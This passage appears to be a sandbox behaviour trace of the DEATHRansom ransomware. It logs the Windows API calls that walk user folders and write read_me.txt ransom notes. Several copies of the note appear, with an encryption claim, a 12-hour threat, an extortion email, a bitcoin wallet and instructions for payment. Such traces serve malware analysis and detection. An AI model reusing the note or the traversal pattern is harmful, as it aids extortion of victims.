ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="Indexed Locations.search-ms", cAlternateFileName="\x07")) returned 0xffffffff [0078.436] wnsprintfW (in: pszDest=0x43e0098, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\read_me.txt") returned 56 [0078.436] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\start menu\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0078.437] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.437] WriteFile (in: hFile=0x7a4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0078.438] CloseHandle (hObject=0x7a4) returned 1 [0078.438] GetProcessHeap () returned 0x540000 [0078.438] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x43e0098 | out: hHeap=0x540000) returned 1 [0078.438] lstrcpyW (in: lpString1=0x43e0098, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" [0078.438] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 73 [0078.438] QueueUserWorkItem (Function=0x40a710, Context=0x43e0098, Flags=0x0) returned 1 [0078.438] GetProcessHeap () returned 0x540000 [0078.438] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x43f00a0 [0078.438] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*") returned 45 [0078.438] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName="Indexed Locations.search-ms", cAlternateFileName="\x07")) returned 0xffffffff [0078.438] wnsprintfW (in: pszDest=0x43f00a0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\read_me.txt") returned 55 [0078.438] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates\\read_me.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\templates\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0078.439] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.439] WriteFile (in: hFile=0x7a4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0078.440] CloseHandle (hObject=0x7a4) returned 1 [0078.440] GetProcessHeap () returned 0x540000 [0078.440] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x43f00a0 | out: hHeap=0x540000) returned 1 [0078.440] lstrcpyW (in: lpString1=0x43f00a0, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0078.440] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 74 [0078.440] QueueUserWorkItem (Function=0x40a710, Context=0x43f00a0, Flags=0x0) returned 1 [0078.440] GetProcessHeap () returned 0x540000 [0078.440] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44000a8 [0078.441] wnsprintfW (in: pszDest=0x44000a8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*") returned 42 [0078.441] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1ab00630, ftLastAccessTime.dwHighDateTime=0x1d59fdd, ftLastWriteTime.dwLowDateTime=0x1ab00630, ftLastWriteTime.dwHighDateTime=0x1d59fdd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.442] lstrcpyW (in: lpString1=0x44100b0, lpString2="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49" | out: lpString1="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49") returned="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49" [0078.442] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 75 [0078.442] QueueUserWorkItem (Function=0x40a710, Context=0x44100b0, Flags=0x0) returned 1 [0078.442] GetProcessHeap () returned 0x540000 [0078.442] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44200b8 [0078.443] wnsprintfW (in: pszDest=0x44200b8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\*") returned 56 [0078.443] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\t1LmrrqF1UQ49\\*", lpFindFileData=0x17ebb8 | out: lpFindFileData=0x17ebb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40310110, ftCreationTime.dwHighDateTime=0x1d4cf00, ftLastAccessTime.dwLowDateTime=0x68d946b0, ftLastAccessTime.dwHighDateTime=0x1d4c620, ftLastWriteTime.dwLowDateTime=0x68d946b0, ftLastWriteTime.dwHighDateTime=0x1d4c620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 [0078.449] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.449] WriteFile (in: hFile=0x7b0, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f30c, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f30c*=0x6b3, lpOverlapped=0x0) returned 1 [0078.450] CloseHandle (hObject=0x7b0) returned 1 [0078.450] GetProcessHeap () returned 0x540000 [0078.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41a2088 | out: hHeap=0x540000) returned 1 [0078.450] lstrcpyW (in: lpString1=0x44000a8, lpString2="\\\\?\\C:\\Users\\Default" | out: lpString1="\\\\?\\C:\\Users\\Default") returned="\\\\?\\C:\\Users\\Default" [0078.450] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 76 [0078.451] QueueUserWorkItem (Function=0x40a710, Context=0x44000a8, Flags=0x0) returned 1 [0078.451] GetProcessHeap () returned 0x540000 [0078.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41a1080 [0078.451] wnsprintfW (in: pszDest=0x41a1080, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\*") returned 22 [0078.451] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\*", lpFindFileData=0x17f0a8 | out: lpFindFileData=0x17f0a8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62fa4a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x62fa4a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc248 [0078.451] lstrcpyW (in: lpString1=0x44200b8, lpString2="\\\\?\\C:\\Users\\Default\\Application Data" | out: lpString1="\\\\?\\C:\\Users\\Default\\Application Data") returned="\\\\?\\C:\\Users\\Default\\Application Data" [0078.451] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 77 [0078.451] QueueUserWorkItem (Function=0x40a710, Context=0x44200b8, Flags=0x0) returned 1 [0078.451] GetProcessHeap () returned 0x540000 [0078.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44300c0 [0078.452] wnsprintfW (in: pszDest=0x44300c0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Application Data\\*") returned 39 [0078.452] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Application Data\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x13, ftCreationTime.dwHighDateTime=0x2, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="_ziwdoP2J ZhqAV_w_.mp4眕ꓶ眵감̳ƜT", cAlternateFileName="\x07")) returned 0xffffffff [0078.453] wnsprintfW (in: pszDest=0x44300c0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Application Data\\read_me.txt") returned 49 [0078.453] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Application Data\\read_me.txt" (normalized: "c:\\users\\default\\application data\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7a4 [0078.511] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.511] WriteFile (in: hFile=0x7a4, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0078.512] CloseHandle (hObject=0x7a4) returned 1 [0078.512] GetProcessHeap () returned 0x540000 [0078.512] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44300c0 | out: hHeap=0x540000) returned 1 [0078.513] lstrcpyW (in: lpString1=0x44300c0, lpString2="\\\\?\\C:\\Users\\Default\\Contacts" | out: lpString1="\\\\?\\C:\\Users\\Default\\Contacts") returned="\\\\?\\C:\\Users\\Default\\Contacts" [0078.513] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 78 [0078.513] QueueUserWorkItem (Function=0x40a710, Context=0x44300c0, Flags=0x0) returned 1 [0078.513] GetProcessHeap () returned 0x540000 [0078.513] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44400c8 [0078.513] wnsprintfW (in: pszDest=0x44400c8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Contacts\\*") returned 31 [0078.513] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Contacts\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6392a20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc208 [0078.515] lstrcpyW (in: lpString1=0x44400c8, lpString2="\\\\?\\C:\\Users\\Default\\Cookies" | out: lpString1="\\\\?\\C:\\Users\\Default\\Cookies") returned="\\\\?\\C:\\Users\\Default\\Cookies" [0078.515] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 79 [0078.515] QueueUserWorkItem (Function=0x40a710, Context=0x44400c8, Flags=0x0) returned 1 [0078.515] GetProcessHeap () returned 0x540000 [0078.515] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x44500d0 [0078.516] wnsprintfW (in: pszDest=0x44500d0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Cookies\\*") returned 30 [0078.516] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Cookies\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x636c8c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="desktop.ini", cAlternateFileName="廠疙汈㧦\x17甴\x17a")) returned 0xffffffff [0078.516] wnsprintfW (in: pszDest=0x44500d0, cchDest=32767, pszFmt="%s\\read_me.txt" | out: pszDest="\\\\?\\C:\\Users\\Default\\Cookies\\read_me.txt") returned 40 [0078.516] CreateFileW (lpFileName="\\\\?\\C:\\Users\\Default\\Cookies\\read_me.txt" (normalized: "c:\\users\\default\\cookies\\read_me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7f8 [0078.622] lstrlenA (lpString="?????????????????????????\r\n??????DEATHRansom ???????\r\n?????????????????????????\r\nHello dear friend,\r\nYour files were encrypted!\r\nYou have only 12 hours to decrypt it\r\nIn case of no answer our team will delete your decryption password\r\nWrite back to our e-mail: deathransom@airmail.cc\r\n \r\n \r\nIn your message you have to write:\r\n1. YOU LOCK-ID: 05K+u3iWdsxih3Vsk/SvGLmUkjiqYSyjSuPo+Q/fTUW9FxcBDVhdkrWV6kIM43XHUzfRdMbdMVfJscmuTS8/3+y3fMVQJ2zYJ3YPgoQzmGH5K158ZeGOm2v8yDz0hIqBUCMPgGc+Fsr/VUH/twcxH0wWZAe9i+RbMhifJ5xewUwzL0b12HHUv9vkH4nwwzK/NZiYRX6/F2dRTzY9yWo/knTnP1xqnqDGRw+zjLziQCfwT3Vn5LsmaT0kkGjIQ3F9aIXcFId4xiC2YBI4K+it/m7Oa3R4If6UTbcCgm5N7y/DL3DeF16DcwHdFwyksLy9d6CPcSDcwROVqa+Me8Jy0TLindhRmyWoRlEBdxbaJ+eOG5+OhRHE24XFBk/ReHaSNsLKBcRl8MAtDHPTFnAK1C7p9whKA68/QJY3UKeD2dD3jiavA1p+nkn3JWDFSedf88rHxI3JJvEgipTevNd4Kc+FvNwCL8Rz/6ePAm76sJAefdQv3jNmHe7Yazy+Uy1TinJO2mJWME4+v/8n5iHea8wj5Pj/wbzFOX1SrkxKwJgd4YckJFcpMM2DnK+caE/h08BUadwNykOlzgc+XPaKh22/cftwI3Isy3bgXdGoQTi7qt4gav1huXcR1L0DhZ3CWAoC9CFFbBozqgRsnb4MqoThT1a2Ipneve59a8pdlAonAe+TQ9I8VuKwB/xT1ksINdtI540OuYKh+nfUEgIUgg==\r\n2. Time when you have paid 0.1 btc to this bitcoin wallet:\r\n1J9CG9KtJZVx1dHsVcSu8cxMTbLsqeXM5N\r\n \r\n \r\nAfter payment our team will decrypt your files immediatly\r\n \r\n \r\nFree decryption as guarantee:\r\n1. File must be less than 1MB\r\n2. Only .txt or .lnk files, no databases\r\n3. Only 1 files\r\n \r\n \r\nHow to obtain bitcoin:\r\nThe easiest way to buy bitcoins is LocalBitcoins site. You have to register, click 'Buy bitcoins', and select the seller by payment method and price.\r\nhttps://localbitcoins.com/buy_bitcoins\r\nAlso you can find other places to buy Bitcoins and beginners guide here:\r\nhttp://www.coindesk.com/information/how-can-i-buy-bitcoins/") returned 1715 [0078.622] WriteFile (in: hFile=0x7f8, lpBuffer=0x573e58*, nNumberOfBytesToWrite=0x6b3, lpNumberOfBytesWritten=0x17f094, lpOverlapped=0x0 | out: lpBuffer=0x573e58*, lpNumberOfBytesWritten=0x17f094*=0x6b3, lpOverlapped=0x0) returned 1 [0078.623] CloseHandle (hObject=0x7f8) returned 1 [0078.623] GetProcessHeap () returned 0x540000 [0078.623] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x44500d0 | out: hHeap=0x540000) returned 1 [0078.623] lstrcpyW (in: lpString1=0x41d20a0, lpString2="\\\\?\\C:\\Users\\Default\\Desktop" | out: lpString1="\\\\?\\C:\\Users\\Default\\Desktop") returned="\\\\?\\C:\\Users\\Default\\Desktop" [0078.623] InterlockedExchangeAdd (in: Addend=0x40f170, Value=1 | out: Addend=0x40f170) returned 80 [0078.623] QueueUserWorkItem (Function=0x40a710, Context=0x41d20a0, Flags=0x0) returned 1 [0078.623] GetProcessHeap () returned 0x540000 [0078.623] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0xfffe) returned 0x41e20a8 [0078.623] wnsprintfW (in: pszDest=0x41e20a8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\Default\\Desktop\\*") returned 30 [0078.623] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\Default\\Desktop\\*", lpFindFileData=0x17ee30 | out: lpFindFileData=0x17ee30*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x636c8c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x32fc288 